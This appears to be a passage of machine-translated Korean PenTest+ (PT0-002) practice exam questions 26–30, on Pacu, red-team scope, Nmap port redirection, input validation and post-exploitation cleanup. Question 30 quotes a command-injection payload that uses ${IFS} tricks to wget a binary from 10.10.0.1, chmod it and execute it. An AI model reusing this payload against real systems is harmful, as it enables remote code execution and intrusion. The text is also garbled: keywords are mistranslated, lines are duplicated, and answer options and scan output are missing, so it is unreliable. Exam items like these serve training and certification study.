PT0-002 문제 26
침투 테스터가 회사의 클라우드 환경에서 사용자로 로그인합니다. 다음 중 어떤 Pacu 모듈을 사용하여 테스터가 기존 사용자의 액세스 수준을 결정할 수 있습니까?
PT0-002 문제 27
레드 팀 테스터는 회사 네트워크에서 악의적인 내부자가 제기하는 위협을 에뮬레이트하도록 계약되었으며 민감한 개인 파일에 대한 액세스 권한을 얻는 제한된 목표를 가지고 있습니다. 평가하는 동안 레드팀 테스터는 대상 환경 내에서 가능한 사전 침해를 나타내는 아티팩트를 식별합니다.
테스터는 다음 중 어떤 조치를 취해야 하나요?
테스터는 다음 중 어떤 조치를 취해야 하나요?
PT0-002 문제 28
침투 테스터는 대상에 대해 Nmap 스캔을 수행하고 다음 결과를 수신합니다.
다음 중 테스터가 대상에서 TCP 포트 1080을 사용하여 스캐닝 도구를 리디렉션하는 데 사용해야 하는 것은 무엇입니까?
다음 중 테스터가 대상에서 TCP 포트 1080을 사용하여 스캐닝 도구를 리디렉션하는 데 사용해야 하는 것은 무엇입니까?
PT0-002 문제 29
침투 테스터가 웹사이트에서 발견된 검색 양식에 대한 입력 유효성 검사를 테스트하고 있습니다. 다음 중 웹 사이트의 취약점을 테스트하는 가장 좋은 옵션은 무엇입니까?
PT0-002 문제 30
침투 테스터는 익스플로잇을 사용하여 시스템에 액세스할 수 있었습니다. 다음은 활용된 코드의 스니펫입니다.
익스플로잇 = "포스트"
익스플로잇 += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}아파치;$ {IFS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" 침투 테스터가 참여 후 실행해야 하는 다음 명령은 무엇입니까?
익스플로잇 = "포스트"
익스플로잇 += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}아파치;$ {IFS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" 침투 테스터가 참여 후 실행해야 하는 다음 명령은 무엇입니까?